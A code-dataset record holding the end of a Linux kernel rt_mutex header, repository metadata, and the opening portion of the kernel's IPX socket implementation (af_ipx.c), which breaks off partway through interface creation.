# define schedule_rt_mutex(_lock) schedule()
#endif
/*
* This is the control structure for tasks blocked on a rt_mutex,
* which is allocated on the kernel stack on of the blocked task.
*
* @list_entry: pi node to enqueue into the mutex waiters list
* @pi_list_entry: pi node to enqueue into the mutex owner waiters list
* @task: task reference to the blocked task
*/
struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_list_entry;
struct task_struct *task;
struct rt_mutex *lock;
#ifdef CONFIG_DEBUG_RT_MUTEXES
unsigned long ip;
struct pid *deadlock_task_pid;
struct rt_mutex *deadlock_lock;
#endif
};
/*
* Various helpers to access the waiters-plist:
*/
static inline int rt_mutex_has_waiters(struct rt_mutex *lock)
{
return !plist_head_empty(&lock->wait_list);
}
static inline struct rt_mutex_waiter *
rt_mutex_top_waiter(struct rt_mutex *lock)
{
struct rt_mutex_waiter *w;
w = plist_first_entry(&lock->wait_list, struct rt_mutex_waiter,
list_entry);
BUG_ON(w->lock != lock);
return w;
}
static inline int task_has_pi_waiters(struct task_struct *p)
{
return !plist_head_empty(&p->pi_waiters);
}
static inline struct rt_mutex_waiter *
task_top_pi_waiter(struct task_struct *p)
{
return plist_first_entry(&p->pi_waiters, struct rt_mutex_waiter,
pi_list_entry);
}
/*
* lock->owner state tracking:
*/
#define RT_MUTEX_HAS_WAITERS 1UL
#define RT_MUTEX_OWNER_MASKALL 1UL
static inline struct task_struct *rt_mutex_owner(struct rt_mutex *lock)
{
return (struct task_struct *)
((unsigned long)lock->owner & ~RT_MUTEX_OWNER_MASKALL);
}
/*
* PI-futex support (proxy locking functions, etc.):
*/
extern struct task_struct *rt_mutex_next_owner(struct rt_mutex *lock);
extern void rt_mutex_init_proxy_locked(struct rt_mutex *lock,
struct task_struct *proxy_owner);
extern void rt_mutex_proxy_unlock(struct rt_mutex *lock,
struct task_struct *proxy_owner);
extern int rt_mutex_start_proxy_lock(struct rt_mutex *lock,
struct rt_mutex_waiter *waiter,
struct task_struct *task,
int detect_deadlock);
extern int rt_mutex_finish_proxy_lock(struct rt_mutex *lock,
struct hrtimer_sleeper *to,
struct rt_mutex_waiter *waiter,
int detect_deadlock);
#ifdef CONFIG_DEBUG_RT_MUTEXES
# include "rtmutex-debug.h"
#else
# include "rtmutex.h"
#endif
#endif
|
cfc6296bb94b76162794237318b9fcd6087cb019
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/net/ipx/af_ipx.c
|
2665bf4b8d052e08ccd618a0d1a249c44b13ba25
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 51,086
|
c
|
af_ipx.c
|
/*
* Implements an IPX socket layer.
*
* This code is derived from work by
* Ross Biro : Writing the original IP stack
* Fred Van Kempen : Tidying up the TCP/IP
*
* Many thanks go to Keith Baker, Institute For Industrial Information
* Technology Ltd, Swansea University for allowing me to work on this
* in my own time even though it was in some ways related to commercial
* work I am currently employed to do there.
*
* All the material in this file is subject to the Gnu license version 2.
* Neither Alan Cox nor the Swansea University Computer Society admit
* liability nor provide warranty for any of this software. This material
* is provided as is and at no charge.
*
* Portions Copyright (c) 2000-2003 Conectiva, Inc. <acme@conectiva.com.br>
* Neither Arnaldo Carvalho de Melo nor Conectiva, Inc. admit liability nor
* provide warranty for any of this software. This material is provided
* "AS-IS" and at no charge.
*
* Portions Copyright (c) 1995 Caldera, Inc. <greg@caldera.com>
* Neither Greg Page nor Caldera, Inc. admit liability nor provide
* warranty for any of this software. This material is provided
* "AS-IS" and at no charge.
*
* See net/ipx/ChangeLog.
*/
#include <linux/capability.h>
#include <linux/errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/init.h>
#include <linux/ipx.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/module.h>
#include <linux/net.h>
#include <linux/netdevice.h>
#include <linux/uio.h>
#include <linux/slab.h>
#include <linux/skbuff.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/termios.h>
#include <net/ipx.h>
#include <net/p8022.h>
#include <net/psnap.h>
#include <net/sock.h>
#include <net/tcp_states.h>
#include <asm/uaccess.h>
#ifdef CONFIG_SYSCTL
extern void ipx_register_sysctl(void);
extern void ipx_unregister_sysctl(void);
#else
#define ipx_register_sysctl()
#define ipx_unregister_sysctl()
#endif
/* Configuration Variables */
static unsigned char ipxcfg_max_hops = 16;
static char ipxcfg_auto_select_primary;
static char ipxcfg_auto_create_interfaces;
int sysctl_ipx_pprop_broadcasting = 1;
/* Global Variables */
static struct datalink_proto *p8022_datalink;
static struct datalink_proto *pEII_datalink;
static struct datalink_proto *p8023_datalink;
static struct datalink_proto *pSNAP_datalink;
static const struct proto_ops ipx_dgram_ops;
LIST_HEAD(ipx_interfaces);
DEFINE_SPINLOCK(ipx_interfaces_lock);
struct ipx_interface *ipx_primary_net;
struct ipx_interface *ipx_internal_net;
extern int ipxrtr_add_route(__be32 network, struct ipx_interface *intrfc,
unsigned char *node);
extern void ipxrtr_del_routes(struct ipx_interface *intrfc);
extern int ipxrtr_route_packet(struct sock *sk, struct sockaddr_ipx *usipx,
struct iovec *iov, size_t len, int noblock);
extern int ipxrtr_route_skb(struct sk_buff *skb);
extern struct ipx_route *ipxrtr_lookup(__be32 net);
extern int ipxrtr_ioctl(unsigned int cmd, void __user *arg);
struct ipx_interface *ipx_interfaces_head(void)
{
struct ipx_interface *rc = NULL;
if (!list_empty(&ipx_interfaces))
rc = list_entry(ipx_interfaces.next,
struct ipx_interface, node);
return rc;
}
static void ipxcfg_set_auto_select(char val)
{
ipxcfg_auto_select_primary = val;
if (val && !ipx_primary_net)
ipx_primary_net = ipx_interfaces_head();
}
static int ipxcfg_get_config_data(struct ipx_config_data __user *arg)
{
struct ipx_config_data vals;
vals.ipxcfg_auto_create_interfaces = ipxcfg_auto_create_interfaces;
vals.ipxcfg_auto_select_primary = ipxcfg_auto_select_primary;
return copy_to_user(arg, &vals, sizeof(vals)) ? -EFAULT : 0;
}
/*
* Note: Sockets may not be removed _during_ an interrupt or inet_bh
* handler using this technique. They can be added although we do not
* use this facility.
*/
static void ipx_remove_socket(struct sock *sk)
{
/* Determine interface with which socket is associated */
struct ipx_interface *intrfc = ipx_sk(sk)->intrfc;
if (!intrfc)
goto out;
ipxitf_hold(intrfc);
spin_lock_bh(&intrfc->if_sklist_lock);
sk_del_node_init(sk);
spin_unlock_bh(&intrfc->if_sklist_lock);
ipxitf_put(intrfc);
out:
return;
}
static void ipx_destroy_socket(struct sock *sk)
{
ipx_remove_socket(sk);
skb_queue_purge(&sk->sk_receive_queue);
sk_refcnt_debug_dec(sk);
}
/*
* The following code is used to support IPX Interfaces (IPXITF). An
* IPX interface is defined by a physical device and a frame type.
*/
/* ipxitf_clear_primary_net has to be called with ipx_interfaces_lock held */
static void ipxitf_clear_primary_net(void)
{
ipx_primary_net = NULL;
if (ipxcfg_auto_select_primary)
ipx_primary_net = ipx_interfaces_head();
}
static struct ipx_interface *__ipxitf_find_using_phys(struct net_device *dev,
__be16 datalink)
{
struct ipx_interface *i;
list_for_each_entry(i, &ipx_interfaces, node)
if (i->if_dev == dev && i->if_dlink_type == datalink)
goto out;
i = NULL;
out:
return i;
}
static struct ipx_interface *ipxitf_find_using_phys(struct net_device *dev,
__be16 datalink)
{
struct ipx_interface *i;
spin_lock_bh(&ipx_interfaces_lock);
i = __ipxitf_find_using_phys(dev, datalink);
if (i)
ipxitf_hold(i);
spin_unlock_bh(&ipx_interfaces_lock);
return i;
}
struct ipx_interface *ipxitf_find_using_net(__be32 net)
{
struct ipx_interface *i;
spin_lock_bh(&ipx_interfaces_lock);
if (net) {
list_for_each_entry(i, &ipx_interfaces, node)
if (i->if_netnum == net)
goto hold;
i = NULL;
goto unlock;
}
i = ipx_primary_net;
if (i)
hold:
ipxitf_hold(i);
unlock:
spin_unlock_bh(&ipx_interfaces_lock);
return i;
}
/* Sockets are bound to a particular IPX interface. */
static void ipxitf_insert_socket(struct ipx_interface *intrfc, struct sock *sk)
{
ipxitf_hold(intrfc);
spin_lock_bh(&intrfc->if_sklist_lock);
ipx_sk(sk)->intrfc = intrfc;
sk_add_node(sk, &intrfc->if_sklist);
spin_unlock_bh(&intrfc->if_sklist_lock);
ipxitf_put(intrfc);
}
/* caller must hold intrfc->if_sklist_lock */
static struct sock *__ipxitf_find_socket(struct ipx_interface *intrfc,
__be16 port)
{
struct sock *s;
sk_for_each(s, &intrfc->if_sklist)
if (ipx_sk(s)->port == port)
goto found;
s = NULL;
found:
return s;
}
/* caller must hold a reference to intrfc */
static struct sock *ipxitf_find_socket(struct ipx_interface *intrfc,
__be16 port)
{
struct sock *s;
spin_lock_bh(&intrfc->if_sklist_lock);
s = __ipxitf_find_socket(intrfc, port);
if (s)
sock_hold(s);
spin_unlock_bh(&intrfc->if_sklist_lock);
return s;
}
#ifdef CONFIG_IPX_INTERN
static struct sock *ipxitf_find_internal_socket(struct ipx_interface *intrfc,
unsigned char *ipx_node,
__be16 port)
{
struct sock *s;
ipxitf_hold(intrfc);
spin_lock_bh(&intrfc->if_sklist_lock);
sk_for_each(s, &intrfc->if_sklist) {
struct ipx_sock *ipxs = ipx_sk(s);
if (ipxs->port == port &&
!memcmp(ipx_node, ipxs->node, IPX_NODE_LEN))
goto found;
}
s = NULL;
found:
spin_unlock_bh(&intrfc->if_sklist_lock);
ipxitf_put(intrfc);
return s;
}
#endif
static void __ipxitf_down(struct ipx_interface *intrfc)
{
struct sock *s;
struct hlist_node *t;
/* Delete all routes associated with this interface */
ipxrtr_del_routes(intrfc);
spin_lock_bh(&intrfc->if_sklist_lock);
/* error sockets */
sk_for_each_safe(s, t, &intrfc->if_sklist) {
struct ipx_sock *ipxs = ipx_sk(s);
s->sk_err = ENOLINK;
s->sk_error_report(s);
ipxs->intrfc = NULL;
ipxs->port = 0;
sock_set_flag(s, SOCK_ZAPPED); /* Indicates it is no longer bound */
sk_del_node_init(s);
}
INIT_HLIST_HEAD(&intrfc->if_sklist);
spin_unlock_bh(&intrfc->if_sklist_lock);
/* remove this interface from list */
list_del(&intrfc->node);
/* remove this interface from *special* networks */
if (intrfc == ipx_primary_net)
ipxitf_clear_primary_net();
if (intrfc == ipx_internal_net)
ipx_internal_net = NULL;
if (intrfc->if_dev)
dev_put(intrfc->if_dev);
kfree(intrfc);
}
void ipxitf_down(struct ipx_interface *intrfc)
{
spin_lock_bh(&ipx_interfaces_lock);
__ipxitf_down(intrfc);
spin_unlock_bh(&ipx_interfaces_lock);
}
static __inline__ void __ipxitf_put(struct ipx_interface *intrfc)
{
if (atomic_dec_and_test(&intrfc->refcnt))
__ipxitf_down(intrfc);
}
static int ipxitf_device_event(struct notifier_block *notifier,
unsigned long event, void *ptr)
{
struct net_device *dev = ptr;
struct ipx_interface *i, *tmp;
if (!net_eq(dev_net(dev), &init_net))
return NOTIFY_DONE;
if (event != NETDEV_DOWN && event != NETDEV_UP)
goto out;
spin_lock_bh(&ipx_interfaces_lock);
list_for_each_entry_safe(i, tmp, &ipx_interfaces, node)
if (i->if_dev == dev) {
if (event == NETDEV_UP)
ipxitf_hold(i);
else
__ipxitf_put(i);
}
spin_unlock_bh(&ipx_interfaces_lock);
out:
return NOTIFY_DONE;
}
static __exit void ipxitf_cleanup(void)
{
struct ipx_interface *i, *tmp;
spin_lock_bh(&ipx_interfaces_lock);
list_for_each_entry_safe(i, tmp, &ipx_interfaces, node)
__ipxitf_put(i);
spin_unlock_bh(&ipx_interfaces_lock);
}
static void ipxitf_def_skb_handler(struct sock *sock, struct sk_buff *skb)
{
if (sock_queue_rcv_skb(sock, skb) < 0)
kfree_skb(skb);
}
/*
* On input skb->sk is NULL. Nobody is charged for the memory.
*/
/* caller must hold a reference to intrfc */
#ifdef CONFIG_IPX_INTERN
static int ipxitf_demux_socket(struct ipx_interface *intrfc,
struct sk_buff *skb, int copy)
{
struct ipxhdr *ipx = ipx_hdr(skb);
int is_broadcast = !memcmp(ipx->ipx_dest.node, ipx_broadcast_node,
IPX_NODE_LEN);
struct sock *s;
int rc;
spin_lock_bh(&intrfc->if_sklist_lock);
sk_for_each(s, &intrfc->if_sklist) {
struct ipx_sock *ipxs = ipx_sk(s);
if (ipxs->port == ipx->ipx_dest.sock &&
(is_broadcast || !memcmp(ipx->ipx_dest.node,
ipxs->node, IPX_NODE_LEN))) {
/* We found a socket to which to send */
struct sk_buff *skb1;
if (copy) {
skb1 = skb_clone(skb, GFP_ATOMIC);
rc = -ENOMEM;
if (!skb1)
goto out;
} else {
skb1 = skb;
copy = 1; /* skb may only be used once */
}
ipxitf_def_skb_handler(s, skb1);
/* On an external interface, one socket can listen */
if (intrfc != ipx_internal_net)
break;
}
}
/* skb was solely for us, and we did not make a copy, so free it. */
if (!copy)
kfree_skb(skb);
rc = 0;
out:
spin_unlock_bh(&intrfc->if_sklist_lock);
return rc;
}
#else
static struct sock *ncp_connection_hack(struct ipx_interface *intrfc,
struct ipxhdr *ipx)
{
/* The packet's target is a NCP connection handler. We want to hand it
* to the correct socket directly within the kernel, so that the
* mars_nwe packet distribution process does not have to do it. Here we
* only care about NCP and BURST packets.
*
* You might call this a hack, but believe me, you do not want a
* complete NCP layer in the kernel, and this is VERY fast as well. */
struct sock *sk = NULL;
int connection = 0;
u8 *ncphdr = (u8 *)(ipx + 1);
if (*ncphdr == 0x22 && *(ncphdr + 1) == 0x22) /* NCP request */
connection = (((int) *(ncphdr + 5)) << 8) | (int) *(ncphdr + 3);
else if (*ncphdr == 0x77 && *(ncphdr + 1) == 0x77) /* BURST packet */
connection = (((int) *(ncphdr + 9)) << 8) | (int) *(ncphdr + 8);
if (connection) {
/* Now we have to look for a special NCP connection handling
* socket. Only these sockets have ipx_ncp_conn != 0, set by
* SIOCIPXNCPCONN. */
spin_lock_bh(&intrfc->if_sklist_lock);
sk_for_each(sk, &intrfc->if_sklist)
if (ipx_sk(sk)->ipx_ncp_conn == connection) {
sock_hold(sk);
goto found;
}
sk = NULL;
found:
spin_unlock_bh(&intrfc->if_sklist_lock);
}
return sk;
}
static int ipxitf_demux_socket(struct ipx_interface *intrfc,
struct sk_buff *skb, int copy)
{
struct ipxhdr *ipx = ipx_hdr(skb);
struct sock *sock1 = NULL, *sock2 = NULL;
struct sk_buff *skb1 = NULL, *skb2 = NULL;
int rc;
if (intrfc == ipx_primary_net && ntohs(ipx->ipx_dest.sock) == 0x451)
sock1 = ncp_connection_hack(intrfc, ipx);
if (!sock1)
/* No special socket found, forward the packet the normal way */
sock1 = ipxitf_find_socket(intrfc, ipx->ipx_dest.sock);
/*
* We need to check if there is a primary net and if
* this is addressed to one of the *SPECIAL* sockets because
* these need to be propagated to the primary net.
* The *SPECIAL* socket list contains: 0x452(SAP), 0x453(RIP) and
* 0x456(Diagnostic).
*/
if (ipx_primary_net && intrfc != ipx_primary_net) {
const int dsock = ntohs(ipx->ipx_dest.sock);
if (dsock == 0x452 || dsock == 0x453 || dsock == 0x456)
/* The appropriate thing to do here is to dup the
* packet and route to the primary net interface via
* ipxitf_send; however, we'll cheat and just demux it
* here. */
sock2 = ipxitf_find_socket(ipx_primary_net,
ipx->ipx_dest.sock);
}
/*
* If there is nothing to do return. The kfree will cancel any charging.
*/
rc = 0;
if (!sock1 && !sock2) {
if (!copy)
kfree_skb(skb);
goto out;
}
/*
* This next segment of code is a little awkward, but it sets it up
* so that the appropriate number of copies of the SKB are made and
* that skb1 and skb2 point to it (them) so that it (they) can be
* demuxed to sock1 and/or sock2. If we are unable to make enough
* copies, we do as much as is possible.
*/
if (copy)
skb1 = skb_clone(skb, GFP_ATOMIC);
else
skb1 = skb;
rc = -ENOMEM;
if (!skb1)
goto out_put;
/* Do we need 2 SKBs? */
if (sock1 && sock2)
skb2 = skb_clone(skb1, GFP_ATOMIC);
else
skb2 = skb1;
if (sock1)
ipxitf_def_skb_handler(sock1, skb1);
if (!skb2)
goto out_put;
if (sock2)
ipxitf_def_skb_handler(sock2, skb2);
rc = 0;
out_put:
if (sock1)
sock_put(sock1);
if (sock2)
sock_put(sock2);
out:
return rc;
}
#endif /* CONFIG_IPX_INTERN */
static struct sk_buff *ipxitf_adjust_skbuff(struct ipx_interface *intrfc,
struct sk_buff *skb)
{
struct sk_buff *skb2;
int in_offset = (unsigned char *)ipx_hdr(skb) - skb->head;
int out_offset = intrfc->if_ipx_offset;
int len;
/* Hopefully, most cases */
if (in_offset >= out_offset)
return skb;
/* Need new SKB */
len = skb->len + out_offset;
skb2 = alloc_skb(len, GFP_ATOMIC);
if (skb2) {
skb_reserve(skb2, out_offset);
skb_reset_network_header(skb2);
skb_reset_transport_header(skb2);
skb_put(skb2, skb->len);
memcpy(ipx_hdr(skb2), ipx_hdr(skb), skb->len);
memcpy(skb2->cb, skb->cb, sizeof(skb->cb));
}
kfree_skb(skb);
return skb2;
}
/* caller must hold a reference to intrfc and the skb has to be unshared */
int ipxitf_send(struct ipx_interface *intrfc, struct sk_buff *skb, char *node)
{
struct ipxhdr *ipx = ipx_hdr(skb);
struct net_device *dev = intrfc->if_dev;
struct datalink_proto *dl = intrfc->if_dlink;
char dest_node[IPX_NODE_LEN];
int send_to_wire = 1;
int addr_len;
ipx->ipx_tctrl = IPX_SKB_CB(skb)->ipx_tctrl;
ipx->ipx_dest.net = IPX_SKB_CB(skb)->ipx_dest_net;
ipx->ipx_source.net = IPX_SKB_CB(skb)->ipx_source_net;
/* see if we need to include the netnum in the route list */
if (IPX_SKB_CB(skb)->last_hop.index >= 0) {
__be32 *last_hop = (__be32 *)(((u8 *) skb->data) +
sizeof(struct ipxhdr) +
IPX_SKB_CB(skb)->last_hop.index *
sizeof(__be32));
*last_hop = IPX_SKB_CB(skb)->last_hop.netnum;
IPX_SKB_CB(skb)->last_hop.index = -1;
}
/*
* We need to know how many skbuffs it will take to send out this
* packet to avoid unnecessary copies.
*/
if (!dl || !dev || dev->flags & IFF_LOOPBACK)
send_to_wire = 0; /* No non looped */
/*
* See if this should be demuxed to sockets on this interface
*
* We want to ensure the original was eaten or that we only use
* up clones.
*/
if (ipx->ipx_dest.net == intrfc->if_netnum) {
/*
* To our own node, loop and free the original.
* The internal net will receive on all node address.
*/
if (intrfc == ipx_internal_net ||
!memcmp(intrfc->if_node, node, IPX_NODE_LEN)) {
/* Don't charge sender */
skb_orphan(skb);
/* Will charge receiver */
return ipxitf_demux_socket(intrfc, skb, 0);
}
/* Broadcast, loop and possibly keep to send on. */
if (!memcmp(ipx_broadcast_node, node, IPX_NODE_LEN)) {
if (!send_to_wire)
skb_orphan(skb);
ipxitf_demux_socket(intrfc, skb, send_to_wire);
if (!send_to_wire)
goto out;
}
}
/*
* If the originating net is not equal to our net; this is routed
* We are still charging the sender. Which is right - the driver
* free will handle this fairly.
*/
if (ipx->ipx_source.net != intrfc->if_netnum) {
/*
* Unshare the buffer before modifying the count in
* case it's a flood or tcpdump
*/
skb = skb_unshare(skb, GFP_ATOMIC);
if (!skb)
goto out;
if (++ipx->ipx_tctrl > ipxcfg_max_hops)
send_to_wire = 0;
}
if (!send_to_wire) {
kfree_skb(skb);
goto out;
}
/* Determine the appropriate hardware address */
addr_len = dev->addr_len;
if (!memcmp(ipx_broadcast_node, node, IPX_NODE_LEN))
memcpy(dest_node, dev->broadcast, addr_len);
else
memcpy(dest_node, &(node[IPX_NODE_LEN-addr_len]), addr_len);
/* Make any compensation for differing physical/data link size */
skb = ipxitf_adjust_skbuff(intrfc, skb);
if (!skb)
goto out;
/* set up data link and physical headers */
skb->dev = dev;
skb->protocol = htons(ETH_P_IPX);
/* Send it out */
dl->request(dl, skb, dest_node);
out:
return 0;
}
static int ipxitf_add_local_route(struct ipx_interface *intrfc)
{
return ipxrtr_add_route(intrfc->if_netnum, intrfc, NULL);
}
static void ipxitf_discover_netnum(struct ipx_interface *intrfc,
struct sk_buff *skb);
static int ipxitf_pprop(struct ipx_interface *intrfc, struct sk_buff *skb);
static int ipxitf_rcv(struct ipx_interface *intrfc, struct sk_buff *skb)
{
struct ipxhdr *ipx = ipx_hdr(skb);
int rc = 0;
ipxitf_hold(intrfc);
/* See if we should update our network number */
if (!intrfc->if_netnum) /* net number of intrfc not known yet */
ipxitf_discover_netnum(intrfc, skb);
IPX_SKB_CB(skb)->last_hop.index = -1;
if (ipx->ipx_type == IPX_TYPE_PPROP) {
rc = ipxitf_pprop(intrfc, skb);
if (rc)
goto out_free_skb;
}
/* local processing follows */
if (!IPX_SKB_CB(skb)->ipx_dest_net)
IPX_SKB_CB(skb)->ipx_dest_net = intrfc->if_netnum;
if (!IPX_SKB_CB(skb)->ipx_source_net)
IPX_SKB_CB(skb)->ipx_source_net = intrfc->if_netnum;
/* it doesn't make sense to route a pprop packet, there's no meaning
* in the ipx_dest_net for such packets */
if (ipx->ipx_type != IPX_TYPE_PPROP &&
intrfc->if_netnum != IPX_SKB_CB(skb)->ipx_dest_net) {
/* We only route point-to-point packets. */
if (skb->pkt_type == PACKET_HOST) {
skb = skb_unshare(skb, GFP_ATOMIC);
if (skb)
rc = ipxrtr_route_skb(skb);
goto out_intrfc;
}
goto out_free_skb;
}
/* see if we should keep it */
if (!memcmp(ipx_broadcast_node, ipx->ipx_dest.node, IPX_NODE_LEN) ||
!memcmp(intrfc->if_node, ipx->ipx_dest.node, IPX_NODE_LEN)) {
rc = ipxitf_demux_socket(intrfc, skb, 0);
goto out_intrfc;
}
/* we couldn't pawn it off so unload it */
out_free_skb:
kfree_skb(skb);
out_intrfc:
ipxitf_put(intrfc);
return rc;
}
static void ipxitf_discover_netnum(struct ipx_interface *intrfc,
struct sk_buff *skb)
{
const struct ipx_cb *cb = IPX_SKB_CB(skb);
/* see if this is an intra packet: source_net == dest_net */
if (cb->ipx_source_net == cb->ipx_dest_net && cb->ipx_source_net) {
struct ipx_interface *i =
ipxitf_find_using_net(cb->ipx_source_net);
/* NB: NetWare servers lie about their hop count so we
* dropped the test based on it. This is the best way
* to determine this is a 0 hop count packet. */
if (!i) {
intrfc->if_netnum = cb->ipx_source_net;
ipxitf_add_local_route(intrfc);
} else {
printk(KERN_WARNING "IPX: Network number collision "
"%lx\n %s %s and %s %s\n",
(unsigned long) ntohl(cb->ipx_source_net),
ipx_device_name(i),
ipx_frame_name(i->if_dlink_type),
ipx_device_name(intrfc),
ipx_frame_name(intrfc->if_dlink_type));
ipxitf_put(i);
}
}
}
/**
* ipxitf_pprop - Process packet propagation IPX packet type 0x14, used for
* NetBIOS broadcasts
* @intrfc: IPX interface receiving this packet
* @skb: Received packet
*
* Checks if packet is valid: if its more than %IPX_MAX_PPROP_HOPS hops or if it
* is smaller than a IPX header + the room for %IPX_MAX_PPROP_HOPS hops we drop
* it, not even processing it locally, if it has exact %IPX_MAX_PPROP_HOPS we
* don't broadcast it, but process it locally. See chapter 5 of Novell's "IPX
* RIP and SAP Router Specification", Part Number 107-000029-001.
*
* If it is valid, check if we have pprop broadcasting enabled by the user,
* if not, just return zero for local processing.
*
* If it is enabled check the packet and don't broadcast it if we have already
* seen this packet.
*
* Broadcast: send it to the interfaces that aren't on the packet visited nets
* array, just after the IPX header.
*
* Returns -EINVAL for invalid packets, so that the calling function drops
* the packet without local processing. 0 if packet is to be locally processed.
*/
static int ipxitf_pprop(struct ipx_interface *intrfc, struct sk_buff *skb)
{
struct ipxhdr *ipx = ipx_hdr(skb);
int i, rc = -EINVAL;
struct ipx_interface *ifcs;
char *c;
__be32 *l;
/* Illegal packet - too many hops or too short */
/* We decide to throw it away: no broadcasting, no local processing.
* NetBIOS unaware implementations route them as normal packets -
* tctrl <= 15, any data payload... */
if (IPX_SKB_CB(skb)->ipx_tctrl > IPX_MAX_PPROP_HOPS ||
ntohs(ipx->ipx_pktsize) < sizeof(struct ipxhdr) +
IPX_MAX_PPROP_HOPS * sizeof(u32))
goto out;
/* are we broadcasting this damn thing? */
rc = 0;
if (!sysctl_ipx_pprop_broadcasting)
goto out;
/* We do broadcast packet on the IPX_MAX_PPROP_HOPS hop, but we
* process it locally. All previous hops broadcasted it, and process it
* locally. */
if (IPX_SKB_CB(skb)->ipx_tctrl == IPX_MAX_PPROP_HOPS)
goto out;
c = ((u8 *) ipx) + sizeof(struct ipxhdr);
l = (__be32 *) c;
/* Don't broadcast packet if already seen this net */
for (i = 0; i < IPX_SKB_CB(skb)->ipx_tctrl; i++)
if (*l++ == intrfc->if_netnum)
goto out;
/* < IPX_MAX_PPROP_HOPS hops && input interface not in list. Save the
* position where we will insert recvd netnum into list, later on,
* in ipxitf_send */
IPX_SKB_CB(skb)->last_hop.index = i;
IPX_SKB_CB(skb)->last_hop.netnum = intrfc->if_netnum;
/* xmit on all other interfaces... */
spin_lock_bh(&ipx_interfaces_lock);
list_for_each_entry(ifcs, &ipx_interfaces, node) {
/* Except unconfigured interfaces */
if (!ifcs->if_netnum)
continue;
/* That aren't in the list */
if (ifcs == intrfc)
continue;
l = (__be32 *) c;
/* don't consider the last entry in the packet list,
* it is our netnum, and it is not there yet */
for (i = 0; i < IPX_SKB_CB(skb)->ipx_tctrl; i++)
if (ifcs->if_netnum == *l++)
break;
if (i == IPX_SKB_CB(skb)->ipx_tctrl) {
struct sk_buff *s = skb_copy(skb, GFP_ATOMIC);
if (s) {
IPX_SKB_CB(s)->ipx_dest_net = ifcs->if_netnum;
ipxrtr_route_skb(s);
}
}
}
spin_unlock_bh(&ipx_interfaces_lock);
out:
return rc;
}
static void ipxitf_insert(struct ipx_interface *intrfc)
{
spin_lock_bh(&ipx_interfaces_lock);
list_add_tail(&intrfc->node, &ipx_interfaces);
spin_unlock_bh(&ipx_interfaces_lock);
if (ipxcfg_auto_select_primary && !ipx_primary_net)
ipx_primary_net = intrfc;
}
static struct ipx_interface *ipxitf_alloc(struct net_device *dev, __be32 netnum,
__be16 dlink_type,
struct datalink_proto *dlink,
unsigned char internal,
int ipx_offset)
{
struct ipx_interface *intrfc = kmalloc(sizeof(*intrfc), GFP_ATOMIC);
if (intrfc) {
intrfc->if_dev = dev;
intrfc->if_netnum = netnum;
intrfc->if_dlink_type = dlink_type;
intrfc->if_dlink = dlink;
intrfc->if_internal = internal;
intrfc->if_ipx_offset = ipx_offset;
intrfc->if_sknum = IPX_MIN_EPHEMERAL_SOCKET;
INIT_HLIST_HEAD(&intrfc->if_sklist);
atomic_set(&intrfc->refcnt, 1);
spin_lock_init(&intrfc->if_sklist_lock);
}
return intrfc;
}
static int ipxitf_create_internal(struct ipx_interface_definition *idef)
{
struct ipx_interface *intrfc;
int rc = -EEXIST;
/* Only one primary network allowed */
if (ipx_primary_net)
goto out;
/* Must have a valid network number */
rc = -EADDRNOTAVAIL;
if (!idef->ipx_network)
goto out;
intrfc = ipxitf_find_using_net(idef->ipx_network);
rc = -EADDRINUSE;
if (intrfc) {
ipxitf_put(intrfc);
goto out;
}
intrfc = ipxitf_alloc(NULL, idef->ipx_network, 0, NULL, 1, 0);
rc = -EAGAIN;
if (!intrfc)
goto out;
memcpy((char *)&(intrfc->if_node), idef->ipx_node, IPX_NODE_LEN);
ipx_internal_net = ipx_primary_net = intrfc;
ipxitf_hold(intrfc);
ipxitf_insert(intrfc);
rc = ipxitf_add_local_route(intrfc);
ipxitf_put(intrfc);
out:
return rc;
}
static __be16 ipx_map_frame_type(unsigned char type)
{
__be16 rc = 0;
switch (type) {
case IPX_FRAME_ETHERII: rc = htons(ETH_P_IPX); break;
case IPX_FRAME_8022: rc = htons(ETH_P_802_2); break;
case IPX_FRAME_SNAP: rc = htons(ETH_P_SNAP); break;
case IPX_FRAME_8023: rc = htons(ETH_P_802_3); break;
}
return rc;
}
static int ipxitf_create(struct ipx_interface_definition *idef)
{
struct net_device *dev;
__be16 dlink_type = 0;
struct datalink_proto *datalink = NULL;
struct ipx_interface *intrfc;
int rc;
if (idef->ipx_special == IPX_INTERNAL) {
rc = ipxitf_create_internal(idef);
goto out;
}
rc = -EEXIST;
if (idef->ipx_special == IPX_PRIMARY && ipx_primary_net)
goto out;
intrfc = ipxitf_find_using_net(idef->ipx_network);
rc = -EADDRINUSE;
if (idef->ipx_network && intrfc) {
ipxitf_put(intrfc);
goto out;
}
if (intrfc)
ipxitf_put(intrfc);
dev = dev_get_by_name(&init_net, idef->ipx_device);
rc = -ENODEV;
if (!dev)
goto out;
switch (idef->ipx_dlink_type) {
case IPX_FRAME_8022:
dlink_type = htons(ETH_P_802_2);
datalink = p8022_datalink;
break;
case IPX_FRAME_ETHERII:
if (dev->type != ARPHRD_IEEE802) {
dlink_type = htons(ETH_P_IPX);
datalink = pEII_datalink;
break;
}
/* fall through */
case IPX_FRAME_SNAP:
dlink_type = htons(ETH_P_SNAP);
datalink = pSNAP_datalink;
break;
case IPX_FRAME_8023:
dlink_type = htons(ETH_P_802_3);
datalink = p8023_datalink;
break;
case IPX_FRAME_NONE:
default:
rc = -EPROTONOSUPPORT;
goto out_dev;
}
rc = -ENETDOWN;
if (!(dev->flags & IFF_UP))
goto out_dev;
/* Check addresses are suitable */
rc = -EINVAL;
if (dev->addr_len > IPX_NODE_LEN)
goto out_dev;
intrfc = ipxitf_find_using_phys(dev, dlink_type);
if (!intrfc) {
/* Ok now create */
intrfc = ipxitf_alloc(dev, idef->ipx_network, dlink_type,
